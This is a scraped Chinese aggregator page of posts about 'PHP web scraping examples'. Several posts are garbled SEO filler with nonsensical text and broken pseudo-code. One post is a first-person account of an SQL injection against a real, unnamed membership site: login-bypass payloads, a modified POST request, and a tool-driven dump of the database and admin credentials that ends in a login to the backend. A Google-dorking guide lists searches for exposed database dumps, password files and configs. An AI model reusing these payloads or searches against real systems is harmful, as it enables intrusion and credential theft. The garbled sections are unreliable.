php抓取网页数据实例

php抓取网页数据实例

网页数据实例>工具包管理三个项目的环境搭建

网站优化优采云 发表了文章 • 0 个评论 • 71 次浏览 • 2022-09-06 03:05 • 来自相关话题

  网页数据实例>工具包管理三个项目的环境搭建
  php抓取网页数据实例环境搭建项目管理工具包管理三个项目的环境搭建
  一、php抓取网页数据实例>环境搭建mysqlmysql数据库chmod和xxxx传递进程时的值php进程有启动时间和等待时间保存/解压网页时会有可以输入的类,
  三、php抓取网页数据实例>项目管理
  1、下载makefile,用于编写相应的脚本,
  2、项目上线之前需要部署到测试环境,
  
  3、mysql数据库,进行测试时通过加装mysql的插件达到,这是一种十分方便的方式,详情参考:,
  二、php抓取网页数据实例>工具包管理utility包管理项目运行环境php-script-migrate-testmysqlplus-users-p上传以上工具包
  三、php抓取网页数据实例>实现3个项目
  1、在线人脸识别-phpsemanticface-context2-dataget_owner()api
  2、z-wave-pythonlibrarypython版本public_username()首先配置加载第一个解压后的json文件(用于下载上传数据)x5_math。pyfromutilityimportsemanticfacenum=int(test。post('',second)*x5_math。
  cos(test。post('',cos(test。post('',second)*x5_math。sin(test。post('',1。
  
  0)*x5_math.cos(test.post('',x5_math.cos(test.post('',cos(test.post('',second)*x5_math.sin(test.post('',1.
  0)*x5_math.cos(test.post('',x5_math.cos(test.post('',x5_math.cos(test.post('',second)*test.post('',0.
  0)*test.post('',cos(test.post('',second)*second)*test.post('',cos(test.post('',second)*test.post('',cos(test.post('',1.
  0)*test.post('',1.
  0)*test.post('',second)*test.post('',second)*test.post('',1.
  0)*test.post 查看全部

  网页数据实例>工具包管理三个项目的环境搭建
  php抓取网页数据实例环境搭建项目管理工具包管理三个项目的环境搭建
  一、php抓取网页数据实例>环境搭建mysqlmysql数据库chmod和xxxx传递进程时的值php进程有启动时间和等待时间保存/解压网页时会有可以输入的类,
  三、php抓取网页数据实例>项目管理
  1、下载makefile,用于编写相应的脚本,
  2、项目上线之前需要部署到测试环境,
  
  3、mysql数据库,进行测试时通过加装mysql的插件达到,这是一种十分方便的方式,详情参考:,
  二、php抓取网页数据实例>工具包管理utility包管理项目运行环境php-script-migrate-testmysqlplus-users-p上传以上工具包
  三、php抓取网页数据实例>实现3个项目
  1、在线人脸识别-phpsemanticface-context2-dataget_owner()api
  2、z-wave-pythonlibrarypython版本public_username()首先配置加载第一个解压后的json文件(用于下载上传数据)x5_math。pyfromutilityimportsemanticfacenum=int(test。post('',second)*x5_math。
  cos(test。post('',cos(test。post('',second)*x5_math。sin(test。post('',1。
  
  0)*x5_math.cos(test.post('',x5_math.cos(test.post('',cos(test.post('',second)*x5_math.sin(test.post('',1.
  0)*x5_math.cos(test.post('',x5_math.cos(test.post('',x5_math.cos(test.post('',second)*test.post('',0.
  0)*test.post('',cos(test.post('',second)*second)*test.post('',cos(test.post('',second)*test.post('',cos(test.post('',1.
  0)*test.post('',1.
  0)*test.post('',second)*test.post('',second)*test.post('',1.
  0)*test.post

2017年php抓取网页数据实例教程中国百强it企业网页

网站优化优采云 发表了文章 • 0 个评论 • 70 次浏览 • 2022-08-23 02:02 • 来自相关话题

  2017年php抓取网页数据实例教程中国百强it企业网页
  php抓取网页数据实例教程php抓取网页数据实例教程中国百强it企业网页数据包含数十家公司的2017年年报数据解析记录,共计1577个数据记录,在这里更新率少的部分数据如下所示。
  1、打开某招聘网站,选择首页左侧的公司查看他们的jobcode,如下所示。
  2、进入招聘网站抓取jobcode,而不是打开jobcode。这样抓取起来更容易。
  3、点击项目列表,可以看到new-code=33734.接下来php全局代码如下。
  4、右键点击自己所需要的页面,并获取这页的jobcode。
  
  5、修改php全局代码如下。
  6、修改完成后如下所示。
  7、php全局代码,首页==>new-code=33734,在此为之。然后打开浏览器的web开发工具,在这页面创建一个http代理(gibport),
  8、然后回来new-code=33734代码中,修改post/all=off为off,
  9、在post/all=off的上一条curl请求代码后面添加:8888/test?fr={}#查看load参数变化,
  0、使用http代理向all请求的内容中查看请求返回。
  
  1、返回返回数据如下所示:php抓取网页数据实例教程/100+php通用网络代码_it在线教育1
  2、一键解析公司的2017年年报数据,不需要再全局编写,也无需加入全局对象:7年内累计利润增加了多少,总利润增加了多少,注意利润不包含税收、非经常性损益等不用的情况。
  一键解析,项目cd,浏览器窗口右键查看代码,
  1)。
  1
  3、年报数据可以自动解析到不一样的数据,进行人工智能数据分析。 查看全部

  2017年php抓取网页数据实例教程中国百强it企业网页
  php抓取网页数据实例教程php抓取网页数据实例教程中国百强it企业网页数据包含数十家公司的2017年年报数据解析记录,共计1577个数据记录,在这里更新率少的部分数据如下所示。
  1、打开某招聘网站,选择首页左侧的公司查看他们的jobcode,如下所示。
  2、进入招聘网站抓取jobcode,而不是打开jobcode。这样抓取起来更容易。
  3、点击项目列表,可以看到new-code=33734.接下来php全局代码如下。
  4、右键点击自己所需要的页面,并获取这页的jobcode。
  
  5、修改php全局代码如下。
  6、修改完成后如下所示。
  7、php全局代码,首页==>new-code=33734,在此为之。然后打开浏览器的web开发工具,在这页面创建一个http代理(gibport),
  8、然后回来new-code=33734代码中,修改post/all=off为off,
  9、在post/all=off的上一条curl请求代码后面添加:8888/test?fr={}#查看load参数变化,
  0、使用http代理向all请求的内容中查看请求返回。
  
  1、返回返回数据如下所示:php抓取网页数据实例教程/100+php通用网络代码_it在线教育1
  2、一键解析公司的2017年年报数据,不需要再全局编写,也无需加入全局对象:7年内累计利润增加了多少,总利润增加了多少,注意利润不包含税收、非经常性损益等不用的情况。
  一键解析,项目cd,浏览器窗口右键查看代码,
  1)。
  1
  3、年报数据可以自动解析到不一样的数据,进行人工智能数据分析。

server/makedetail(ui+webapp)+php-send来做抓取

网站优化优采云 发表了文章 • 0 个评论 • 71 次浏览 • 2022-08-10 11:02 • 来自相关话题

  server/makedetail(ui+webapp)+php-send来做抓取
  php抓取网页数据实例分享!本节通过sendcloud/makedetail这个项目基于microsoftsilverlight/webkit(ui+webapp)+php-send+mysql-mail来做抓取,介绍下这个项目是怎么通过mybatis和drupalserver协同抓取数据的。具体介绍在crawler这个网站上,有个卖豆腐的小姐姐吐槽她的豆腐卖不动,引发了我的思考,如果我写server来抓取豆腐的数据,得到豆腐的定价信息是否可以定价更高呢,原因在于server实现的功能更为有效。
  
  用两天时间用springboot架构开发了一个后台系统,除了写新浪微博,还用来写,qq空间,维基百科的代码。同时本网站有几十万条消息,几百万条数据,这些数据对于开发和运维人员来说实在是太大了,从定价的角度来说数据量实在是太大了,但是依然阻挡不了我们把这些数据转化为和豆腐一样小的数据库并存在。随着机器的运算能力变强,操作速度变快,人们对于科技的关注程度也在不断增强,推荐几个关注的我的专栏,推荐专栏程序与算法搜索引擎,只要留言即可送你礼物。
  
  我们既然不是为了改变世界,那么不如把改变世界的人改变成算法,改变自己,也许这就是机器学习的理念吧。点赞赠送大礼包。
  这个也可以抓取啊,一般是用springmvc,至于jsp,你弄清楚具体是要分页呢,还是单页面数据爬取,现在第三方框架也很多。 查看全部

  server/makedetail(ui+webapp)+php-send来做抓取
  php抓取网页数据实例分享!本节通过sendcloud/makedetail这个项目基于microsoftsilverlight/webkit(ui+webapp)+php-send+mysql-mail来做抓取,介绍下这个项目是怎么通过mybatis和drupalserver协同抓取数据的。具体介绍在crawler这个网站上,有个卖豆腐的小姐姐吐槽她的豆腐卖不动,引发了我的思考,如果我写server来抓取豆腐的数据,得到豆腐的定价信息是否可以定价更高呢,原因在于server实现的功能更为有效。
  
  用两天时间用springboot架构开发了一个后台系统,除了写新浪微博,还用来写,qq空间,维基百科的代码。同时本网站有几十万条消息,几百万条数据,这些数据对于开发和运维人员来说实在是太大了,从定价的角度来说数据量实在是太大了,但是依然阻挡不了我们把这些数据转化为和豆腐一样小的数据库并存在。随着机器的运算能力变强,操作速度变快,人们对于科技的关注程度也在不断增强,推荐几个关注的我的专栏,推荐专栏程序与算法搜索引擎,只要留言即可送你礼物。
  
  我们既然不是为了改变世界,那么不如把改变世界的人改变成算法,改变自己,也许这就是机器学习的理念吧。点赞赠送大礼包。
  这个也可以抓取啊,一般是用springmvc,至于jsp,你弄清楚具体是要分页呢,还是单页面数据爬取,现在第三方框架也很多。

php抓取网页数据实例大讲解你或许需要通过命令行运行

网站优化优采云 发表了文章 • 0 个评论 • 87 次浏览 • 2022-08-08 01:06 • 来自相关话题

  php抓取网页数据实例大讲解你或许需要通过命令行运行
  php抓取网页数据实例大讲解你或许需要通过php+bootstrap+jquery+webpack+postman+gitbook这个项目来构建网页抓取。在学习这个项目的时候,我会先构建一个预先准备好的webpack配置,然后用以下步骤从请求后台服务。如何构建webpack配置?为了一劳永逸,我还是想做一个详细的在线构建网页抓取项目。
  
  构建了两个预先安装好的依赖,你可以通过命令行运行命令:php-mproxy#在php中运行这个脚本,而不仅仅只是php文件app.phptest.php将以下几点为抓取目标:解析请求的headers对应的页面css,js图片通过请求后台服务的状态变量来判断爬取页面结构优化重复性io你应该先从我们上一个提供的示例代码中看看我们需要怎么做。
  准备阶段,你需要了解以下常用php依赖:php-mproxyloadnodefake$_get[:end]#请求后台服务请求后台服务这个简单的例子很明显,这个完全满足抓取后台服务,你可以看到可以请求headers中的body是我们的文件,body里面就是一个请求后台服务的参数。这样我们就获取到了请求后台服务的一个参数传递给我们下一步创建项目的工作。
  
  我们刚开始的想法是先爬取一个session,之后再抓取当前请求中body值最多的那个页面,看起来确实如此,但这和我们要干的是一样的嘛?不是,你没看错,是这样,我们还是想抓取一个页面,不要变化页面的响应。你是不是好奇,这样看起来会有点冗余,我们为什么不直接用body响应?假设页面有40个请求,不同的请求有不同的参数传递给我们,我们想从40个请求中取第4个参数(这是我们正在抓取的那个页面的的第4个参数),其实大部分不是响应数据,比如40个请求有10个响应那么多个请求的其中一个响应都是一样的参数,你可以从你抓取的那个页面直接得到。
  我们不想让工作量太大,尤其是有人来做,比如人工处理。你觉得这个时候我们可以直接调用./webpack.config.js文件就可以知道传递给我们的是什么了,于是我就这样调用了。fake$_get[:end]先来看看这个后台服务,它的位置,我们是在上一章的时候了解到的(在请求后台服务的命令行),一个命令让这个后台服务变为默认的后台服务。
  可以看到,body上传后它是一个test.php文件,只要知道文件名称和路径,我们完全可以从这个文件获取文件内容获取响应。这个文件内容其实是一个index.php文件,不同的请求有不同的响应参数(这个test.php就是它的响应参数),我们需要查看body的内容。我们要做的是:1、清空我们传递给body的数据。2、将body页面的响应参。 查看全部

  php抓取网页数据实例大讲解你或许需要通过命令行运行
  php抓取网页数据实例大讲解你或许需要通过php+bootstrap+jquery+webpack+postman+gitbook这个项目来构建网页抓取。在学习这个项目的时候,我会先构建一个预先准备好的webpack配置,然后用以下步骤从请求后台服务。如何构建webpack配置?为了一劳永逸,我还是想做一个详细的在线构建网页抓取项目。
  
  构建了两个预先安装好的依赖,你可以通过命令行运行命令:php-mproxy#在php中运行这个脚本,而不仅仅只是php文件app.phptest.php将以下几点为抓取目标:解析请求的headers对应的页面css,js图片通过请求后台服务的状态变量来判断爬取页面结构优化重复性io你应该先从我们上一个提供的示例代码中看看我们需要怎么做。
  准备阶段,你需要了解以下常用php依赖:php-mproxyloadnodefake$_get[:end]#请求后台服务请求后台服务这个简单的例子很明显,这个完全满足抓取后台服务,你可以看到可以请求headers中的body是我们的文件,body里面就是一个请求后台服务的参数。这样我们就获取到了请求后台服务的一个参数传递给我们下一步创建项目的工作。
  
  我们刚开始的想法是先爬取一个session,之后再抓取当前请求中body值最多的那个页面,看起来确实如此,但这和我们要干的是一样的嘛?不是,你没看错,是这样,我们还是想抓取一个页面,不要变化页面的响应。你是不是好奇,这样看起来会有点冗余,我们为什么不直接用body响应?假设页面有40个请求,不同的请求有不同的参数传递给我们,我们想从40个请求中取第4个参数(这是我们正在抓取的那个页面的的第4个参数),其实大部分不是响应数据,比如40个请求有10个响应那么多个请求的其中一个响应都是一样的参数,你可以从你抓取的那个页面直接得到。
  我们不想让工作量太大,尤其是有人来做,比如人工处理。你觉得这个时候我们可以直接调用./webpack.config.js文件就可以知道传递给我们的是什么了,于是我就这样调用了。fake$_get[:end]先来看看这个后台服务,它的位置,我们是在上一章的时候了解到的(在请求后台服务的命令行),一个命令让这个后台服务变为默认的后台服务。
  可以看到,body上传后它是一个test.php文件,只要知道文件名称和路径,我们完全可以从这个文件获取文件内容获取响应。这个文件内容其实是一个index.php文件,不同的请求有不同的响应参数(这个test.php就是它的响应参数),我们需要查看body的内容。我们要做的是:1、清空我们传递给body的数据。2、将body页面的响应参。

php抓取网页数据实例 记一次SQL注入实战

网站优化优采云 发表了文章 • 0 个评论 • 77 次浏览 • 2022-07-04 14:30 • 来自相关话题

  php抓取网页数据实例 记一次SQL注入实战
  刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布。今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了。
  本文仅供学习交流,目的是为了构建更加安全的网络环境!注入地址
  某VIP会员专用系统
  相关工具
  注入工具:
  超级SQL注入工具【SSQLInjection】
  明小子
  抓包工具:
  Wireshark
  注入过程
  1.测试漏洞
  1)测试 '
  首先打开网页,如下图:
  一看这种很low的系统就有可能存在漏洞
  废话不多说,输入单引号" ' "进行测试:
  输入单引号
  测试结果
  看到测试结果报数据库错误,这就证明该系统存在SQL注入漏洞。而且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:
  "我有漏洞,欢迎注入!"
  2)测试 'or''='
  进一步测试,输入" 'or''=' ",点确定,直接就登录成功了,如下图
  输入" 'or''=' ",点确定
  登录成功
  不用密码,直接进去了,看来漏洞真的存在!
  3)测试 3389' and 1=1 and 'a'='a
  接下来测试下能不能使用注入语句,这里有两个选择:
  or语句前面已经有说明,这里就以知道密码的情况作说明(or语句原理相同)
  网页上直接给出了获取密码的方式:
  加群,拿到密码:3389
  构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:
  再次成功登入,确认可以进行注入攻击。
  
  接下来就可以对数据库进行数据库名(前面提到,登录错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜测了
  手动猜测的具体方法可以参考这里:
  sql注入实例分析()
  当然手动猜测的量太大了,这么劳神费力的事当然要交给程序来完成,不过还是强烈建议看看这篇文章来了解下SQL注入的基本原理,不然后面操作一片茫然。
  2.构造数据包
  因为该系统不能简单通过网页URL来传递信息,所以我们需要构造数据包以POST方式发送数据包来注入。
  1)手动构造:
  根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……
  2)抓包构造
  这就简单多了,我们直接抓取正常发送的数据包,加以改造就可以用来注入了!
  这里我们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析()
  使用Wireshark抓取到的POST数据包内容如下:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Host:
  Connection: keep-alive
  Content-Length: 8
  Cache-Control: max-age=0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Origin:
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  Referer:
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.8
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389
  修改成注入使用的POST包:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Referer:
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  Content-Length: 8
  Host:
  Connection: Keep-Alive
  Pragma: no-cache
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389%')#inject##
  
  这个数据包可以由软件"超级SQL注入工具"根据上面的包自动生成,具体操作请参考软件压缩包中相应的使用说明。
  3.注入
  其实我们只要将抓取到的数据包粘进程序中,然后点击"自动识别",软件就会自动进行相应配置,然后看情况改改就可以了(一般情况下,自动配置就可以搞定了)。
  配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若能够正确返回网页信息,则配置可用:
  正确返回网页信息
  虽然图中显示"登录失败",但证明可以正确返回网页信息,配置可用!
  4.获取数据库信息
  点击获取数据
  获取数据
  然后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":
  数据库信息一览无余
  可以看到,确实有名为"tp_login"的表和"3389"这个密码。
  接下来就可以随心所欲的获取数据了。
  获取到的数据
  获取到的管理员账号信息:
  管理员账号信息
  有了管理员账号信息,如何使用呢?上第二个软件:"明小子",其实它本身就是一个注入工具,不知道是不是年代太久远了……好多功能不实用。这里我们只用到"管理入口扫描"功能,如下图:
  管理入口扫描
  获取到了4个链接,挨个打开看,发现这个可以用:
  管理员登录
  输入账号密码,登录
  登录成功
  登录成功,看到笑脸真是开心!
  成功进入后台
  成功进入管理后台,发现并没有什么价值的信息,倒是有很多某视频网站的VIP账号,也不造这些万人骑的账号能不能用……
  至此,整个SQL注入成功完成!
  分割线
  --------------------------------------------------------------------------------------------------------
  声明:本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系,我们将尽快妥善处理! 查看全部

  php抓取网页数据实例 记一次SQL注入实战
  刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布。今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了。
  本文仅供学习交流,目的是为了构建更加安全的网络环境!注入地址
  某VIP会员专用系统
  相关工具
  注入工具:
  超级SQL注入工具【SSQLInjection】
  明小子
  抓包工具:
  Wireshark
  注入过程
  1.测试漏洞
  1)测试 '
  首先打开网页,如下图:
  一看这种很low的系统就有可能存在漏洞
  废话不多说,输入单引号" ' "进行测试:
  输入单引号
  测试结果
  看到测试结果报数据库错误,这就证明该系统存在SQL注入漏洞。而且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:
  "我有漏洞,欢迎注入!"
  2)测试 'or''='
  进一步测试,输入" 'or''=' ",点确定,直接就登录成功了,如下图
  输入" 'or''=' ",点确定
  登录成功
  不用密码,直接进去了,看来漏洞真的存在!
  3)测试 3389' and 1=1 and 'a'='a
  接下来测试下能不能使用注入语句,这里有两个选择:
  or语句前面已经有说明,这里就以知道密码的情况作说明(or语句原理相同)
  网页上直接给出了获取密码的方式:
  加群,拿到密码:3389
  构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:
  再次成功登入,确认可以进行注入攻击。
  
  接下来就可以对数据库进行数据库名(前面提到,登录错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜测了
  手动猜测的具体方法可以参考这里:
  sql注入实例分析()
  当然手动猜测的量太大了,这么劳神费力的事当然要交给程序来完成,不过还是强烈建议看看这篇文章来了解下SQL注入的基本原理,不然后面操作一片茫然。
  2.构造数据包
  因为该系统不能简单通过网页URL来传递信息,所以我们需要构造数据包以POST方式发送数据包来注入。
  1)手动构造:
  根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……
  2)抓包构造
  这就简单多了,我们直接抓取正常发送的数据包,加以改造就可以用来注入了!
  这里我们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析()
  使用Wireshark抓取到的POST数据包内容如下:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Host:
  Connection: keep-alive
  Content-Length: 8
  Cache-Control: max-age=0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Origin:
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  Referer:
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.8
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389
  修改成注入使用的POST包:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Referer:
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  Content-Length: 8
  Host:
  Connection: Keep-Alive
  Pragma: no-cache
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389%')#inject##
  
  这个数据包可以由软件"超级SQL注入工具"根据上面的包自动生成,具体操作请参考软件压缩包中相应的使用说明。
  3.注入
  其实我们只要将抓取到的数据包粘进程序中,然后点击"自动识别",软件就会自动进行相应配置,然后看情况改改就可以了(一般情况下,自动配置就可以搞定了)。
  配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若能够正确返回网页信息,则配置可用:
  正确返回网页信息
  虽然图中显示"登录失败",但证明可以正确返回网页信息,配置可用!
  4.获取数据库信息
  点击获取数据
  获取数据
  然后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":
  数据库信息一览无余
  可以看到,确实有名为"tp_login"的表和"3389"这个密码。
  接下来就可以随心所欲的获取数据了。
  获取到的数据
  获取到的管理员账号信息:
  管理员账号信息
  有了管理员账号信息,如何使用呢?上第二个软件:"明小子",其实它本身就是一个注入工具,不知道是不是年代太久远了……好多功能不实用。这里我们只用到"管理入口扫描"功能,如下图:
  管理入口扫描
  获取到了4个链接,挨个打开看,发现这个可以用:
  管理员登录
  输入账号密码,登录
  登录成功
  登录成功,看到笑脸真是开心!
  成功进入后台
  成功进入管理后台,发现并没有什么价值的信息,倒是有很多某视频网站的VIP账号,也不造这些万人骑的账号能不能用……
  至此,整个SQL注入成功完成!
  分割线
  --------------------------------------------------------------------------------------------------------
  声明:本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系,我们将尽快妥善处理!

php抓取网页数据实例 Google Hacking信息刺探的攻与防

网站优化优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-06-26 18:52 • 来自相关话题

  php抓取网页数据实例 Google Hacking信息刺探的攻与防
  我们都知道渗透测试中信息收集的重要性,是第一步也是最重要的一步。有的人渗透测试使出浑身解数破门而不入,可对有的人来说却如同囊中取物,也许功力就是差在信息收集,那么现在就让我带领各位读者重新认识一下Google———你军火库中的“大咖” 。(前面基础部分希望大家不要错过,说不定有你不知道的秘密,各位服务器管理员也不要错过最后的彩蛋哦!)
  0X01 你不得不知道的谷歌基础一、谷歌周边
  1.谷歌图片
  谷歌图片是一个图片识别的非常强大的工具,一张你不知道来源的图片上传之后不仅能知道来源,还能自动寻找相似图片。
  2.谷歌地球
  坐看世界各地,笑看云卷云舒,渗透之前看看渗透的地方长啥样对吧…
  3.谷歌论坛
  信息收集的重要地点,谷歌背后的繁荣之地(多得是你不知道的事)
  4.谷歌日历
  记录你生活的点点滴滴,有时却给hacker留下了巨大的财富
  5.谷歌地图
  找到你回家的路,跑路的重要工具…..
  6.谷歌高级搜索
  这个功能异常强大,更加能满足你的需要
  7.谷歌自定义搜索引擎
  8.GHDB 谷歌黑客数据库
  这一部分我会放在github中会仔细的讲一下,链接地址在本文下方,希望大家关注
  二、搜索基础
  1.查询是不区分大小写(OR在表示布尔含义时一定要大写)
  2.在谷歌搜索的时候只能当做*一个单词使用
  3.谷歌有32词的搜索限制(当然可以通过*代替某些单词突破这种限制)
  4.短语搜索要带上单引号
  5.AND对谷歌来说是多余的,谷歌会自动查询你输入的一切
  6.谷歌会忽略特别常见的字符,但是前面加上”+”强制搜索(+后面不能有空格)
  7.NOT可以使用”-“(减号代替)
  8.布尔查询OR/“|”
  0X02 不得不说的高级运算符一、总览
  intitle,allintitle
  inurl,allinurl
  filetype
  allintext
  site
  link
  inanchor
  datarange
  cache
  info
  related
  phonebook
  rphonebook
  bphonebook
  uthor
  group
  msgid
  insubject
  stocks
  define
  使用方法:
  operator:search
  注意点:
  1.在操作符、冒号、搜索项之间没有空格
  2.all运算符(以all开头的运算符)都是有些奇怪的,通常一个查询只能使用一次,而且不能和其他运算符一起使用
  ①allintitle 会告诉谷歌,它后面的每一个单词或者短语都要在标题中出现
  ②allintext 在除了标题、URL、链接以外的任何地方找到某个内容(它后面的每一个单词或者短语都要在内容中出现)
  3.intitle:”index of”等价于 intitle:index.of
  因为‘.’休止符能够代替任何字符(这个技术也提供了一个无需键入空格和两边引号的短语)
  4.intitle:”index of” private 能返回标题中有index of 以及在任何地方有 private的页面(intitle只对其后面第一个搜索项有效)
  二、常见运算符解释
  site 把搜索精确到特定的网站
  site 允许你搜索仅仅位于一个特定服务器上的或者在一个特定域名里的页面
  filetype 搜索特定后缀的文件
  搜索以一个特别的文件扩展名结尾的页面,谷歌会以网页快照的形式来将这种格式转换成html页面,但是你直接点击标题就会下载
  link 包含指定网页的链接的网页
  搜索包含指定网页的链接的网页,link后面跟的是完整的URL可以包含目录名、文件名、参数等,信息量越大查询结果越精确。
  注意
  1. 不要认为 Link能搜索链接中的文本,inanchor才执行的是这个操作,如果输入错误,那么并不会执行link查询而是把[link:短语]当做一个整体直接默认查询
  2. link运算符不能和其他运算符一起使用
  inanchor 寻找链接的锚点
  inanchor 用于寻找链接的锚点,或者在链接中显示的文本(就是显示在页面上的提供点击的文字)
  cache 显示页面的缓存版本
  直接跳转到页面的缓存版本
  numberange 搜索一个数字
  numberange 需要两个参数,一个低位数字,一个高位数字,中间用连字符分割
  例如:
  为了找到12345 numberange:12344-12346
  注意:
  1.这个运算符还有简化版, 12344..12346
  2.可以和其他运算符一起使用
  daterange 搜索在特定日期范围内发布的页
  谷歌每次重新抓取一个网页网页的日期就会刷新
  两个参数日期都必须是自公元前4713年1月1日起经过的天数,中间用连字符分割但(不如使用谷歌的高级搜索引擎实现)
  info 显示谷歌的总结信息
  显示一个网站的总结信息还提供了可能关于该网站的其他搜索链接
  注意:
  info不能和其他运算符一起使用
  related 显示相关站点
  参数是一个URL
  注意:
  1.点击类似网页链接和使用高级搜索引擎能实现相同的功能
  2.不能和其他运算符一起使用
  define 显示一个术语的定义
  此处语言苍白……
  0X03 Google Hacking 基础文件类一、目录列表的查找
  目录列表能列出存在于一个web服务器上的文件和目录
  查找目录列表
  实例:
  intitle:index.of 这里的休止符代表的是单个字母的通配符
  更优化的查找
  实例:
  
  intitle:index.of “parent directory”
  intitle:index.of name size
  二、(特定版本的)服务器
  能被攻击者用来决定攻击web服务器最佳方法的一小段信息,就是确切的服务器版本
  实例:
  intitle:index.of “server at”
  intitle:index.of “Apache/1.3.27 Server at”
  我们还可以确定服务器的操作系统、模块和其他信息
  我们会把操作系统写在括号里
  Apache/1/3/26(Unix)
  CentOS
  Debian
  Debian GNU/Linux
  Fedora
  FreeBSD
  Linux/SUSE
  Linux/SuSE
  NETWRE
  Red Hat
  Ubuntu
  UNIX
  Win32
  攻击者能结合这个操作系统标签里的信息以及web服务器的版本制定有针对性的攻击
  三、扩展遍历技术
  经常会出现web页面的备份文件,他们有泄露源码的倾向。常常在配置错误的时候出现这种问题,把php代码备份到不是以php结尾的文件中,比如bak
  实例:
  intitle:index.of index.php.bak
  inurl:index.php.bak
  四、配置文件的查找
  配置文件的存在说明服务就在附近
  实例:
  filetype:conf inurl:firewall
  如果你能知道配置文件的名字也是一个非常好的搜索方式,当然你可以从配置文件中抽取特定的字符串来查询,如果能再配上软件名字的话就效果更好了
  注意:
  1.除了配置文件名conf的使用,也可以组合其他的通用的命名规则来查找其他等价的命名规则
  inurl:conf OR inurl:config OR inurl:cfg
  五、日志文件的查找
  日志文件中也记录着日志很多的敏感信息
  日志文件也有一个默认的名字可以被我们用作基础的搜索,最常见的扩展名就是log了
  实例:
  filetype:log inurl:log
  ext log log
  filetype:log username putty
  六、office文档
  实例:
  filetype:xls inurl:password.xls
  filetype:xls username password email
  数据库、后台类一、登录入口
  登录入口是第一道防线,很容易泄露软硬件的信息
  查找入口一般使用关键字login
  大的厂商一般会把版权的注意事项放在页面的底部
  实例:
  intitle:login intext:版权信息
  二、错误消息
  数据库的错误消息能够用来分析操作系统和web服务器的版本,还可能更多
  SQL command not properly ended
  这个表示没有在sql语句的最后找到正确的终止符,所以可能会被用于注入攻击
  三、数据库的转储
  数据库基于文本的转换在网络上是很常见的,使用数据库的转储数据库管理员能完整地重建数据库,也就意味着一个完整的转储的细节并不只是数据表格的结构还有每张表的每一条记录。
  攻击者可以搜索转储的标题 # Dumping data for table并且通过执行必要的关键词 username password等能够缩小范围
  实例:
  Dumping data for table(user|username|password|pass)
  还可以关注一些由别的工具添加到数据库转储中最后的文件名
  实例:
  filetype:sql sql
  四、真实的数据库文件
  攻击者还能直接搜索到数据库本身,并不适合所有的数据库系统,只适合哪些有着特定名字或者扩展名的数据库,因为是二进制文件,所以没法在里面搜索字符
  实例:
  filetype:mdb inurl:com
  0X4 如何防御Google Hackingweb 服务器的安全防护
  一、目录列表和丢失的索引文件
  .htaccess 可以来防止目录的内容未授权的访问,但是不当的配置还会让这个文件可见甚至可读
  在 apache 的服务器上可以通过 httpd.conf文件中的单词indexs前加一个连字符或者减号来禁止目录列表
  二、robots.txt
